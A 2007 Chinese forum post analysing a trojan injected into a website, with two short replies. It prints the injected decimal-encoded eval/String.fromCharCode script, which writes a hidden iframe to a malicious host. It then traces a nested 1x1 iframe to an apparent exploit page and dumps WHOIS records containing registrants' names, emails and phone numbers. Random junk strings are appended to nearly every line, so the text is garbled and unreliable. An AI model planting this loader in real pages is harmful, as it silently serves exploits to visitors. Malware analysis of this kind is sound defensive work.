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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, 0o &B 7N  
x !QA* M  
http://www.areway.cn/?p=175 1y}tPkOe7O  
H!vX#  
0V5{:mzA  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: S1D;Xv@  
          'e5,%"5(c  
<script>t=’60,105,102,114,97,109,101, Z|IFT1K  
32,115,114,99,61,104,116,116,112,58,47,47, m?_@.O@]  
102,114,101,101,46,117,45,117,117,117,46,99, A ^U`c'$  
110,47,101,114,114,111,114,46,104,116,109, 1G62Qu$O  
32,119,105,100,116,104,61,49,48,48,32,104, F`U YgN  
101,105,103,104,116,61,48,62,60,47,105,102, #xTu {  
114,97,109,101,62′; q;#:nf"  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> Z&Ao;=Gp1  
                                                                                                  A!.* eIV|  
<script>t=’60,105,102,114,97,109,101,32,115, xA {1XS}  
114,99,61,104,116,116,112,58,47,47,102,114, )!jX$bK  
101,101,46,117,45,117,117,117,46,99,110,47, 5B,HJax  
101,114,114,111,114,46,104,116,109,32,119, V^5Z9!  
105,100,116,104,61,49,48,48,32,104,101,105, z1`z k0  
103,104,116,61,48,62,60,47,105,102,114,97, )*I%rN8b   
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); 0f3C; u-q-  
document.write(t);</script> HC\\w- `<  
                                                                                                  k}$k6Sr"  
<html xmlns=” l5fF.A7TT  
http://www.w3.org/1999/xhtml rtY4 B~_  
“> ]/y69ou  
<head> :MbD=sX  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> QB|D_?]  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> rN5;W  
<title>首页 - 爱生活家庭网 JwM Fu5@  
                                                                                                                                                    T^XU5qgN  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 QQIU5  
转换字符串后的大概内容是(谁点击后果自付): :dkBr@u96O  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… +KKx\m*  
                                                                                                                                  K}1eQS&$a  
查询玉米u-uuu.cn的详细信息: Sw^-@w=!U5  
Domain Name: u-uuu.cn ]`GDZw`  
ROID: 20070901s10001s64972306-cn *&sXC@^@^  
Domain Status: ok Oxq} dX7S  
Registrant Organization: 王雷 *Qe{CE  
Registrant Name: 王雷 Z5%TpAu[  
Administrative Email: czlovexs@126.com r(uf yC&  
Sponsoring Registrar: 北京万网志成科技有限公司 ?~#{3b  
Name Server:ns.yovole.com `UH 1B/  
Name Server:ns1.yovole.com X"pp l7o  
Registration Date: 2007-09-01 17:54 P|{Et=R`1  
Expiration Date: 2008-09-01 17:54 `p{,C`g,R  
最后PING了一下地址 都没有什么…. [5O`  
                                                                                                Isna KcLM  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. AiE\PMF~{P  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> s#2<^6  
<script language=”javascript” src=” S+Vsy(  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script Yiy|^j  
> sg!* %*XQ  
这个玉米应该有可能是木马作者的: LJII7<k  
foafau.info的详细信息: |`i.8  
Access to INFO WHOIS information is provided to assist persons in :U$U:e  
determining the contents of a domain name registration record in the wM#BQe3t#  
Afilias registry database. The data in this record is provided by X=d;WT4,,  
Afilias Limited for informational purposes only, and Afilias does not vhaUV#V"  
guarantee its accuracy.  This service is intended only for query-based zgR@-OtFZ  
access. You agree that you will use this data only for lawful purposes  e+=IGYC  
and that, under no circumstances will you use this data to: (a) allow, "=r"c$xou  
enable, or otherwise support the transmission by e-mail, telephone, or - yn;Jo2-  
facsimile of mass unsolicited, commercial advertising or solicitations OP}8u"\Z  
to entities other than the data recipient’s own existing customers; or *S$`/X  
(b) enable high volume, automated, electronic processes that send ;UB$Uqs6  
queries or data to the systems of Registry Operator, a Registrar, or ? (f44Zgm  
Afilias except as reasonably necessary to register domain names or j*05!j<'  
modify existing registrations. All rights reserved. Afilias reserves 8NS1*\z  
the right to modify these terms at any time. By submitting this query, dx It.h   
you agree to abide by this policy. `GD>3-   
Domain ID:D22418703-LRMS WCPl}7>  
Domain Name:FOAFAU.INFO KB^i=+xr  
Created On:20-Nov-2007 16:05:42 UTC |#D$9+  
Last Updated On:20-Nov-2007 16:05:44 UTC fW'U7&O  
Expiration Date:20-Nov-2008 16:05:42 UTC uRu)iBd D  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) M$Of.  
Status:CLIENT DELETE PROHIBITED )-4xI4  
Status:CLIENT RENEW PROHIBITED b+`mh  
Status:CLIENT TRANSFER PROHIBITED >4lT0~V/  
Status:CLIENT UPDATE PROHIBITED "TgE@bC  
Status:TRANSFER PROHIBITED |+0XO?,sZ  
Registrant ID:GODA-040110615 >HH49 cCo  
Registrant Name:liu hong 4;hgi[  
Registrant Organization: SWGD(]}uz  
Registrant Street1:beijing %: .{?FB_  
Registrant Street2: Oor&1  
Registrant Street3: umo@JWr  
Registrant City:beijing fsDwfwil*  
Registrant State/Province: CN"hx-f  
Registrant Postal Code:100000 ugI9rxT]Kv  
Registrant Country:CN ]2Q:&T  
Registrant Phone:+86.860108888777 yHL5gz@k  
Registrant Phone Ext.: C*I~14  
Registrant FAX: 3h|:ew[  
Registrant FAX Ext.: k)a-odNrb  
Registrant Email:bbbshiji@163.com L--(Y+vmf  
Admin ID:GODA-240110615 \%!~pfM I  
Admin Name:liu hong l[EjtN  
Admin Organization:  MXj7Z3  
Admin Street1:beijing AqzPwO^  
Admin Street2: }`,}e259  
Admin Street3: !7O!)WJ  
Admin City:beijing """gV)Y  
Admin State/Province: utvZ<zz`  
Admin Postal Code:100000 4mY(*2:HC  
Admin Country:CN 1L=6Z2*fB4  
Admin Phone:+86.860108888777 UHEn+Tc>  
Admin Phone Ext.: r6Hdp  
Admin FAX: 1E*No1  
Admin FAX Ext.: %EooGHGF?  
Admin Email:bbbshiji@163.com 6SIk,Isy8  
Billing ID:GODA-340110615 8C{mV^cn~  
Billing Name:liu hong $`emP Hel  
Billing Organization: <+QXGz1  
Billing Street1:beijing T&]J3TFJ  
Billing Street2: 07_ym\N  
Billing Street3: 6DFF:wrm&  
Billing City:beijing %;E/{gO  
Billing State/Province: . .|>|X4  
Billing Postal Code:100000 ?1?zma S  
Billing Country:CN 0DBA 'Cv  
Billing Phone:+86.860108888777 `KgWaf-  
Billing Phone Ext.: WmRx_d_  
Billing FAX: eL-9fld /n  
Billing FAX Ext.: %\ i 7  
Billing Email:bbbshiji@163.com ZgcJxWC<  
Tech ID:GODA-140110615 hZ0CnY8 '  
Tech Name:liu hong \P;%fN  
Tech Organization: aF9p%HPDw  
Tech Street1:beijing %U&O \GB  
Tech Street2: &_^t$To  
Tech Street3: -o8H_MR  
Tech City:beijing <J`",h  
Tech State/Province: 3+_ .I{  
Tech Postal Code:100000 K{}U[@_tS  
Tech Country:CN hy"O_Le  
Tech Phone:+86.860108888777 ER O'{nT&  
Tech Phone Ext.: swBgV,;   
Tech FAX: :3s5{s   
Tech FAX Ext.: >Q$, } `U;  
Tech Email:bbbshiji@163.com 4E`y*Hmzy+  
Name Server:NS27.DOMAINCONTROL.COM TU-4+o%;  
Name Server:NS28.DOMAINCONTROL.COM I]"wT2@T;7  
Name Server: E*ug.nxy  
Name Server: K 9ytot  
Name Server: nVF?.c  
Name Server: RnN]m!"5  
Name Server: JM-spi o  
Name Server: ,m-z D  
Name Server: ?mJNzHrq;  
Name Server: +0016UgS#  
Name Server: NW'rqgG  
Name Server: K85;7R5  
Name Server: ccc*"_45#  
                                                                                                          (5s$vcK  
接着下载每个文件里面的代码: ieN}Ajl2  
一步一步看.. 0UEEvD5  
v)*/E'Cr*  
lLO|,  
{8)Pke  
o~#cpU4{o  
sw.cw}1  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
级别: 店掌柜
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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